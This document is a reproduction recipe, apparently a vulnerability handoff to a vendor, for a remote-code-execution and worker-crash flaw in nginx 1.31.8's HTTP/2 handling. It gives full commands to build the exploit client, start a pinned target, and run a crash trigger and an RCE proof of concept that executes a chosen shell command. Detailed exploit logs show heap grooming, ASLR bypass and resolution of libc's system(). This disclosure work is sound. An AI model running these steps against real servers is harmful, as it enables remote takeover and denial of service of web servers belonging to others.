# RAPID7-NGINX-H2-1: standalone nginx 1.31.8 reproduction This recipe starts an unmodified, pinned nginx image and runs the supplied accounting/crash trigger and RCE proof of concept. Run every command from the directory containing this document—the **handoff root**—on the Linux Docker host. The standalone trigger is in this directory; the RCE client and its dependencies are under `exploit/`. The handoff directory can have any name. No other project directory is needed. ## Prepare the client Use native x86-64 Linux, Docker, an HTTP/2-capable `curl`, a C compiler, and OpenSSL 3 runtime and development libraries. The RCE client supports Python 3.10 or newer, but the separate crash trigger requires **64-bit CPython 3.10 linked to OpenSSL 3** because it uses a CPython-specific TLS interface. The setup below checks that interpreter and creates a separate environment under `exploit/` for the RCE client. It also requires pip 22.3 or newer; pip's [interpreter-selection option](https://pip.pypa.io/en/stable/topics/python-option/) can install into an environment without `ensurepip`. The tested RCE profile depends on glibc's CPU-selected EVEX/YMM copy implementation. Its required CPU features are `avx512f` and `avx512vl`. Check those features and the client before starting either long test: ```sh set -e for nginx_cpu_feature in avx512f avx512vl; do grep -qm1 -w "$nginx_cpu_feature" /proc/cpuinfo || { echo "Missing CPU feature: $nginx_cpu_feature" >&2 exit 1 } done python3.10 -c 'import ctypes, ssl, sys; print(sys.version); print(ssl.OPENSSL_VERSION); assert sys.implementation.name == "cpython" and sys.version_info[:2] == (3, 10) and ctypes.sizeof(ctypes.c_void_p) == 8 and ssl.OPENSSL_VERSION_INFO[0] == 3' python3.10 -m pip --version python3.10 -m venv --without-pip exploit/.venv python3.10 -m pip --isolated --python exploit/.venv install --only-binary=:all: -r exploit/requirements.txt cc -O2 -Wall -Wextra -Werror exploit/streamer.c -lcrypto -o exploit/streamer ./exploit/streamer --version exploit/.venv/bin/python exploit/exploit.py --help ``` The helper must report `nginx-rce-streamer/2`. The supplied binary is an x86-64 Linux build; rebuilding it verifies that the included source and local OpenSSL development files are usable. The CPU checks are necessary compatibility checks, not proof that glibc selects the calibrated copy implementation. Pinning `linux/amd64` selects the image architecture; it does not reproduce the host CPU's instruction support or glibc's runtime choice of copy routine. ## Start the service The configuration below creates four workers, enables HTTP/2 on an HTTPS listener, and serves the image's existing static files. The important directives are `listen 443 ssl;` and `http2 on;`, together with the certificate and private-key paths. These are ordinary nginx settings; no patch, debug build, or unusual memory setting is needed. See the [nginx HTTP/2 documentation](https://nginx.org/en/docs/http/ngx_http_v2_module.html). Create `nginx.conf` in the handoff root using the command below. The quoted `NGINX_CONF` delimiter preserves nginx variables such as `$uri` instead of letting the shell expand them. The subshell's `set -C` makes the command fail if a regular file with that name already exists; use a fresh extraction or inspect the existing file before proceeding. ```sh ( set -C cat > nginx.conf <<'NGINX_CONF' user nginx; worker_processes 4; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 443 ssl; http2 on; server_name localhost; ssl_certificate /tmp/nginx-h2.crt; ssl_certificate_key /tmp/nginx-h2.key; root /usr/share/nginx/html; location / { try_files $uri $uri/ =404; } } } NGINX_CONF ) ``` The pinned image already contains OpenSSL. This command creates a self-signed certificate inside a new container, then starts nginx as its main process. The HTTPS port is exposed only on the Docker host's loopback address. If the selected name or port is already in use, do not remove an unrelated container; choose an unused name or port consistently throughout the recipe. ```sh set -e nginx_image='nginx@sha256:5ab5b0b01097420873a3f3330f44248e34a3c2a3e8d5ee30658aeae8cb7435da' docker pull --platform linux/amd64 "$nginx_image" docker run -d --name rapid7-nginx-h2-vendor \ --platform linux/amd64 \ -p 127.0.0.1:19443:443 \ --mount type=bind,src="${PWD}/nginx.conf",dst=/etc/nginx/nginx.conf,readonly \ --entrypoint sh "$nginx_image" -c ' openssl req -x509 -newkey rsa:2048 -nodes -days 30 \ -keyout /tmp/nginx-h2.key -out /tmp/nginx-h2.crt \ -subj /CN=localhost \ -addext subjectAltName=DNS:localhost,IP:127.0.0.1 && exec nginx -g "daemon off;"' ``` Check the configuration and public response: ```sh docker exec rapid7-nginx-h2-vendor nginx -t docker exec rapid7-nginx-h2-vendor nginx -v curl -skS --http2 -D - -o /dev/null https://127.0.0.1:19443/index.html curl -skS --http2 -H 'Range: bytes=0-9' -D - \ https://127.0.0.1:19443/index.html ``` Expect nginx 1.31.8, an `HTTP/2 200` response with `content-length: 896`, and an `HTTP/2 206` response with `content-range: bytes 0-9/896` and a ten-byte body. The `-k` option permits the self-signed certificate. If startup fails, inspect `docker logs rapid7-nginx-h2-vendor`. ## Run the accounting/crash trigger The trigger first demonstrates the accounting error, then sends enough additional traffic to crash an nginx worker. Restart the disposable target before the attempt: ```sh set -e docker restart rapid7-nginx-h2-vendor nginx_trigger_started=$(date -u +%Y-%m-%dT%H:%M:%SZ) python3.10 -u simple-trigger-poc.py https://127.0.0.1:19443/ docker logs --since "$nginx_trigger_started" rapid7-nginx-h2-vendor 2>&1 \ | grep -E 'worker process [0-9]+ exited on signal 11' ``` The first message, `cleanup over-credit confirmed; starting signed-window crash amplifier`, establishes the accounting failure. The later `Nginx worker crashed in the signed-window memcpy consumer` message is the client's crash indication, based on the connection closing. Confirm the crash independently: the log check must show an nginx worker exiting on signal 11 (`SIGSEGV`) during this attempt. Example output from the November 6, 2026 validation: ```text cleanup over-credit confirmed; starting signed-window crash amplifier Nginx worker crashed in the signed-window memcpy consumer 2026/11/06 16:46:45 [alert] 1#1: worker process 9 exited on signal 11 (core dumped) ``` The complete trigger sends about 60 GiB of application traffic. That volume is needed for the crash-amplification stage, not the initial accounting error. An earlier version could spin after a clean TLS close; the supplied trigger handles that case as a failed attempt. If either oracle is missing, restart the container before retrying. Do not count a disconnect alone as success. ## Run the RCE PoC Restart the container to give the maintained profile a fresh worker heap. Use a new marker name for each attempt, and check it independently before and after running the client: ```sh set -e docker restart rapid7-nginx-h2-vendor docker exec rapid7-nginx-h2-vendor test ! -e /tmp/rapid7-nginx-h2-proof-01 exploit/.venv/bin/python exploit/exploit.py --target https://127.0.0.1:19443/ \ --profile golden-nginx-1.31.8-debian13-amd64 \ --cmd 'touch /tmp/rapid7-nginx-h2-proof-01' docker exec rapid7-nginx-h2-vendor stat -c '%u:%g %a %n' \ /tmp/rapid7-nginx-h2-proof-01 ``` The marker must be absent before the attempt and present afterward, owned by UID/GID 101. The exploit's dispatch message, exit status, or a worker crash is not enough to establish command execution. No special flag script is needed. The profile name retains `golden` as a historical label; all profile files and runtime modules are included under `exploit/`. Add `--verbose` to the exploit command for diagnostic detail. Example output from the November 6, 2026 validation is shown below. Addresses and timings will differ between runs. ```text 17:38:27 INFO starting exploit: target=https://127.0.0.1:19443 profile=golden-nginx-1.31.8-debian13-amd64 candidate_profiles=1 command_bytes=35 17:38:27 INFO TLS connected: version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 ALPN=h2 17:38:27 INFO starting in-band HTTP/2 target profiling and window setup 17:38:28 INFO runtime HTTP profile: resource=896 initial=2 probes + 71 full + 127 ranged bytes max_concurrent=128 candidates=golden-nginx-1.31.8-debian13-amd64 17:38:28 INFO initial HTTP/2 connection window exhausted 17:38:28 INFO triggering cleanup accounting bug: bootstrap_bytes=7340032 TLS_KeyUpdates=262144 17:38:50 INFO vulnerable cleanup observed: target streams reset after public-byte release 17:38:50 INFO final TLS key synchronized; bulk window schedule can begin 17:38:50 INFO sending fixed flood-budget carrier: 15.00 GiB plaintext 17:38:54 INFO fixed carrier progress: 7% (1.00 GiB sent) 17:38:57 INFO fixed carrier progress: 13% (2.00 GiB sent) 17:39:01 INFO fixed carrier progress: 20% (3.00 GiB sent) 17:39:05 INFO fixed carrier progress: 27% (4.00 GiB sent) 17:39:08 INFO fixed carrier progress: 33% (5.00 GiB sent) 17:39:12 INFO fixed carrier progress: 40% (6.00 GiB sent) 17:39:16 INFO fixed carrier progress: 47% (7.00 GiB sent) 17:39:19 INFO fixed carrier progress: 53% (8.00 GiB sent) 17:39:23 INFO fixed carrier progress: 60% (9.00 GiB sent) 17:39:27 INFO fixed carrier progress: 67% (10.00 GiB sent) 17:39:30 INFO fixed carrier progress: 73% (11.00 GiB sent) 17:39:33 INFO fixed carrier progress: 80% (12.00 GiB sent) 17:39:36 INFO fixed carrier progress: 87% (13.00 GiB sent) 17:39:40 INFO fixed carrier progress: 93% (14.00 GiB sent) 17:39:43 INFO fixed carrier progress: 100% (15.00 GiB sent) 17:39:43 INFO fixed carrier complete: 15.00 GiB in 51.99s 17:39:43 INFO replaying 8589934593 legal WINDOW_UPDATE frames across 96 owners 17:39:53 INFO WINDOW_UPDATE replay: 9% (9/96 tranches) 17:40:02 INFO WINDOW_UPDATE replay: 19% (18/96 tranches) 17:40:10 INFO WINDOW_UPDATE replay: 28% (27/96 tranches) 17:40:19 INFO WINDOW_UPDATE replay: 38% (36/96 tranches) 17:40:27 INFO WINDOW_UPDATE replay: 47% (45/96 tranches) 17:40:36 INFO WINDOW_UPDATE replay: 56% (54/96 tranches) 17:40:45 INFO WINDOW_UPDATE replay: 66% (63/96 tranches) 17:40:54 INFO WINDOW_UPDATE replay: 75% (72/96 tranches) 17:41:03 INFO WINDOW_UPDATE replay: 84% (81/96 tranches) 17:41:13 INFO WINDOW_UPDATE replay: 94% (90/96 tranches) 17:41:19 INFO WINDOW_UPDATE replay: 100% (96/96 tranches) 17:41:19 INFO wrapped flow-control distance reached; tailored increment=0x7fffc0d5 17:41:19 INFO opening 16 auxiliary allocator connections 17:41:23 INFO auxiliary connections ready: 16 17:41:23 INFO preparing profiled heap layout and reclaim candidates 17:41:27 INFO profiled B/C heap layout is ready 17:41:28 INFO heap source and overwrite target allocated; triggering copy 17:41:29 INFO captured 14393-byte memory disclosure; resolving ASLR 17:41:30 INFO ASLR resolved: profile=golden-nginx-1.31.8-debian13-amd64 H=0x58b6868bd3a0 nginx=0x58b6713b3840 libc=0x7402c4eaa000 17:41:30 INFO B-free barrier observed; releasing 16 reclaim candidates 17:41:30 INFO reclaim completed; dispatching C cleanup callback 17:41:34 INFO address-directed libc symbols resolved in-band: libc=0x7402c4eaa000 system=0x7402c4efd090 17:41:34 INFO late target-owned execution record installed; releasing final response byte 17:41:36 INFO payload dispatched in 189.35s: H=0x58b6868bd3a0 nginx=0x58b6713b3840 libc=0x7402c4eaa000 profile=golden-nginx-1.31.8-debian13-amd64 plaintext=119.02 GiB auxiliaries=16; use an external command oracle to confirm execution ``` The final line displayed will be the independent `stat` result, not exploit output, indicating sucessfull RCE with the creation of a marker file in the containers /tmp folder: ``` 101:101 644 /tmp/rapid7-nginx-h2-proof-01 ``` The RCE PoC sends about 119.02 GiB of reported plaintext and uses 16 auxiliary connections. It needs sufficiently direct TCP/TLS access for backpressure to work, with those connections reaching the same nginx instance. Each approximately 1.08-GiB response-owner interval must fit within the 60-second send timeout, and the whole connection must remain usable within the one-hour connection lifetime. Slow or jittery paths, TLS/HTTP termination, or intermediary buffering can prevent the current method. The profile is intended for a fresh or lightly exercised target. Earlier tests after substantial prior traffic and under 16 active clients each failed in two attempts, despite completing the large transfer. Matching the image or passing the accounting stage does not establish that the necessary heap layout is present. ## Validation and offline checks ### nginx 1.31.8 handoff validation The full live tests ran on November 6, 2026, against the pinned `linux/amd64` image and ordinary configuration shown above. The handoff contents were copied outside the research checkout, inherited `PYTHONPATH` was removed, the Python dependencies were installed into a separate virtual environment, and the native helper was rebuilt from the supplied C source. No other project files were used, and the production image was not patched or rebuilt. The test client used CPython 3.10.12, OpenSSL 3.0.2, and `cryptography` 49.0.0 on native x86-64 Linux. The helper was built with GCC 11.4.0 and OpenSSL development library 3.0.2. The host exposed `avx512f` and `avx512vl`. These hashes identify the tested binaries and generated configuration: | Component | SHA-256 | | ----------------------------- | ------------------------------------------------------------------ | | nginx 1.31.8 binary | `f617a134aed388efdfdc3bbe76f90c8c82f95f5a6c86d303b786e40245c13662` | | Debian glibc 2.41-12+deb13u4 | `9792e3cbb541c8f44c7acf5f14f4022ea62998ecc787d326bed4d8b6547dfd92` | | Generated nginx configuration | `71afd890d993745e5a3f63dd3b26ee898d4ba895865ebecd47bbd2b4a738ea80` | | Native `streamer` helper | `8c3712c569ae7306874836b9cc2b785da2026f8a2268a52ecf6b010cd38170e5` | The container was restarted before each live attempt. The crash trigger completed in 196.34 seconds, and nginx independently logged the worker's signal-11 exit. The RCE client reported 190.14 seconds and 119.02 GiB; its previously absent marker was independently confirmed as UID/GID 101. After each attempt, the container remained running with restart count zero and no OOM kill. Both supplied profiles passed their offline validator, all 35 component tests passed, and the rebuilt helper matched the supplied binary byte-for-byte. Earlier clean-start tests of the same nginx 1.31.8 RCE method succeeded in 223.13 and 233.09 seconds. An earlier standalone crash-trigger test needed a clean-start retry. These observations and the unsuccessful exercised-heap tests described above do not establish a general success rate. ### Historical profile validation The retained nginx 1.31.6 profile was previously validated against its unchanged x86-64 production image. A clean-start test derived the required object and libc addresses from network data and created a previously absent command marker as UID/GID 101. A later profile-audit run completed in 286.98 seconds with the same independent marker check. The profile's build hashes identify that exact build. This is historical evidence, not a fresh nginx 1.31.6 test using this handoff. ### Offline checks This handoff reorganization changed file locations and documentation. Comparisons confirmed that the executable code, calibration values, and target configuration were unchanged, and the offline checks passed. The full live tests were not repeated. The component tests and profile validator do not contact a target: ```sh exploit/.venv/bin/python -m unittest discover -s exploit/tests -t exploit -v exploit/.venv/bin/python exploit/profiles/profile_tool.py validate \ exploit/profiles/golden-nginx-1.31.8-debian13-amd64.json ``` ## Clean up After saving any results you need, remove only the container created by this recipe: ```sh docker stop rapid7-nginx-h2-vendor docker rm rapid7-nginx-h2-vendor ``` This removes the container-local certificate, private key, and command markers. It leaves the pinned image, handoff files, client environment, and any other containers unchanged.